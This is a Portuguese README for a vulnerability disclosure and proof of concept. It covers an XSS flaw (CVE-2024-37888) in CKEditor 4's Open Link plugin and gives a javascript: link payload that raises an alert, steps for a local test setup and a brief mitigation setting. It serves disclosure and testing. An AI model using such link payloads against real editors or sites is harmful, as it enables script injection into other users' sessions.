
XSS PoC/Exploit para o Open Link Plugin do CKEditor 4
Este repositório documenta os detalhes da vulnerabilidade e o exploit para o CVE-2024-37888 descoberto e reportado por mim.
Esta Prova de Conceito (POC) demonstra a exploração de uma vulnerabilidade XSS descoberta por mim recentemente no plugin Open Link que, quando ativado, afeta diretamente todas as versões do CKEditor 4. A falha permite a execução de JavaScript através de links criados dentro do editor, os quais o plugin não consegue sanitizar. Esta falha pode ser explorada dentro da área de texto apenas quando o plugin Open Link está instalado. O plugin Open Link permite abrir links diretamente dentro da área de edição.
Esta vulnerabilidade pode ser testada a partir da instância pré-configurada do CKEditor disponível aqui.
Inserir Payload:
Abra a instância do CKEditor e clique no ícone "Source".
Insira o seguinte payload na área de texto:
<a href="javascript:alert('XSS Found')">XSS</a>

Mudar para o Modo WYSIWYG:

Disparar XSS:

Você pode configurar sua própria instância local para testar esta vulnerabilidade seguindo os passos abaixo.
Baixar CKEditor 4:

Instalar o Plugin Open Link:
ckeditor/plugins/openlink.
Atualizar a Configuração para Incluir o plugin OpenLink:
config.js do CKEditor anexando as seguintes linhas ao final:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Esta vulnerabilidade foi descoberta na base de código do plugin Open Link e não na base de código do CKEditor 4. A POC acima demonstra a exploração de uma vulnerabilidade XSS através do plugin Open Link no CKEditor 4.*.*. A falha permite a execução arbitrária de JavaScript através de links especialmente criados, representando um risco de segurança significativo.
config.disallowedContent = 'a[onclick]';
Incluir CKEditor no HTML:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>
